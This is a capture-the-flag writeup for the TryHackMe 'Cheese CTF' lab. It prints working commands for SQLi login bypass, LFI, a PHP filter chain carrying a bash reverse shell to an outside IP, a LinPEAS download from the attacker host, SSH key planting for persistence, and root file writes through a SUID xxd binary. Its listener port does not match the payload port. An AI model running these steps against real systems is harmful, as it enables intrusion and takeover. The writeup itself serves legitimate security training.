# 📝 TryHackMe: Cheese CTF – Writeup

## 📌 Room Overview

The **CheeseCTF** room on TryHackMe is an easy-level challenge that demonstrates a full attack chain:

* **Reconnaissance** with `nmap`
    
* **Web exploitation** (SQLi & Local File Inclusion)
    
* **LFI to RCE** via PHP filter tricks
    
* **Privilege escalation** first to the `comte` user and finally to `root`
    

This room provides hands-on practice for exploiting **web vulnerabilities** and **Linux privilege escalation misconfigurations**.

---

## 🎯 Step 1 – Reconnaissance

We begin with an **Nmap scan** of the target:

```bash
nmap -sS --top-ports 3000 <target-ip>
```

* Multiple open ports are identified.
    
* Port **80 (HTTP)** is hosting a web application.
    

### Visiting the Website

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649581677/4d26f3fd-d7ed-4cfc-8d0a-9ee8b9a79a5f.png align="left")

Exploring further, we find a **login page**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649591552/d1b9136e-d701-43a4-9232-d1b09ccf3896.png align="left")

---

## 🔐 Step 2 – Web Exploitation

### SQL Injection

Using `ffuf`, I fuzzed for SQL injection payloads from the **SecLists** wordlists:

```bash
ffuf -w /usr/share/seclists/Fuzzing/SQLi.txt -u http://<target-ip>/login.php -X POST -d "username=FUZZ&password=FUZZ"
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649606919/c6152adb-f06f-47d9-b54a-219f377ca5fe.png align="left")

➡️ With this, I was able to bypass the login form.

---

## 📂 Step 3 – Local File Inclusion (LFI)

After login, inspecting the **URL parameters** showed that the `file` parameter was used to include resources:

```plaintext
http://<target-ip>/index.php?file=page.php
```

Testing with `/etc/passwd` confirmed LFI:

```plaintext
http://<target-ip>/index.php?file=/etc/passwd
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649623057/bece9063-a95b-4195-bcc2-a74c96c352bc.png align="left")

---

## 💥 Step 4 – LFI to RCE

To escalate from LFI to Remote Code Execution (RCE), I used the **php\_filter\_chain\_generator** tool. [link here](https://github.com/synacktiv/php_filter_chain_generator)

```bash
python3 php_filter_chain_generator.py --chain "<?php exec('/bin/bash -c \"/bin/bash -i >& /dev/tcp/10.17.18.203/4445 0>&1\"'); ?>"
```

The generated payload was passed into the vulnerable `file` parameter, which executed PHP code on the server.

Finally, I set up a listener and triggered the payload to gain a reverse shell:

```bash
nc -lvnp 4444
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649630020/7ada4365-b127-4773-b65f-5a6c270ed371.png align="left")

At this stage, I had a shell as the `www-data` user.

---

## 🛠️ Step 5 – Shell Stabilization

The default shell was unstable. I upgraded it to a proper TTY:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo&& fg
reset
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649694393/ba503e44-4d8e-439f-a89c-9f72a12671c1.png align="left")

Now I had a more interactive shell environment.

---

## 👤 Step 6 – Privilege Escalation (User comte)

I downloaded and executed **LinPEAS** to enumerate the system:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649734532/685b445a-24a4-42d7-840e-305d820c0d1b.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649743786/d3ee111a-854e-4fd8-9509-10b9c65c659c.png align="left")

```bash
wget http://<attacker-ip>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

* Note: if permission denied for `wget` then try to execute it from `/tmp`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649761728/47d542af-0106-47c4-97d0-f6b9d2a2043b.png align="left")
    
* Simple `cd /tmp && wget http://<ip>/linpeas.sh` will solve the issue
    

LinPEAS highlighted potential privilege escalation vectors.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649773442/a0624efe-bc79-4bce-bea2-4455c9255828.png align="left")

Among them:

* **Write permissions on** `comte`’s SSH authorized\_keys file.
    

So, I placed my SSH public key inside `/home/comte/.ssh/authorized_keys` and logged in as `comte`:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649802414/8c8f686b-dea0-464a-8ca3-5dbf20ed648f.png align="left")

```bash
ssh -i id_rsa comte@<target-ip>
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649807891/5030c6d1-f5e3-42df-91fe-3d49e0159990.png align="left")

Boom ! got the user shell!

`cat user.txt` will give the flag!

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649818940/2d39f5e1-d71d-4d76-a1be-eaf401ff3df8.png align="left")

---

## ⚡ Step 7 – Privilege Escalation (Root)

### Enumerating sudo

Running `sudo -l` as comte showed:

```bash
User comte may run the following commands on ip-10-201-48-162:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl enable exploit.timer
```

### Inspecting Services

Checking `/etc/systemd/system/` revealed:

`exploit.service`:

```ini
[Unit]
Description=Exploit Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"
```

➡️ This copies `xxd` into `/opt/xxd` with the **SUID bit set**.

---

## 🔓 Step 8 – Exploiting SUID xxd

Starting the service:

```bash
sudo systemctl start exploit.timer
```

* It returned Error so i added the entry of the exploit.timer
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649840993/55e19c3c-f931-4d97-bec7-4c3295730217.png align="left")

Now `/opt/xxd` had SUID root:

```bash
ls -l /opt/xxd
-rwsr-sr-x 1 root root 123456 /opt/xxd
```

With this, I could write files as root.

### Writing Root’s Authorized Keys

I added my SSH public key to root’s authorized\_keys:

```bash
echo "ssh-ed25519 AAAAC3Nz... kali@kali" \
| /opt/xxd | /opt/xxd -r - "/root/.ssh/authorized_keys"
```

---

## 🐚 Step 9 – Root Access

Now I could SSH directly as **root**:

```bash
ssh -i id_ed25519 root@<target-ip>
```

or **another easy way**

```bash
/opt/xxd "/root/root/root.txt" | xxd -r
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756649869554/02940e02-c278-4134-98d3-eb19f648e875.png align="left")

---

## 📖 Key Learnings

* **SQL Injection** can often be combined with LFI to escalate further.
    
* **LFI to RCE** using PHP filters is a powerful technique.
    
* **Systemd misconfigurations** (sudo + timers/services) can lead to privilege escalation.
    
* **SUID binaries** can be abused to read/write root files.
    
* Adding an attacker’s key to `authorized_keys` is a stealthy persistence method.
    

---

## 🔗 References

* [php\_filter\_chain\_generator – GitHub](https://github.com/synacktiv/php_filter_chain_generator)
    
* [GTFOBins](https://gtfobins.github.io/) – for exploiting SUID binaries
    
* [Use LinPEAS](https://roriwa.github.io/pentest/tools/LinPEAS/)
    
* Other community writeups:
    
    * [Writeup 1](https://0xb0b.gitbook.io/writeups/tryhackme/2024/cheese-ctf)
        

---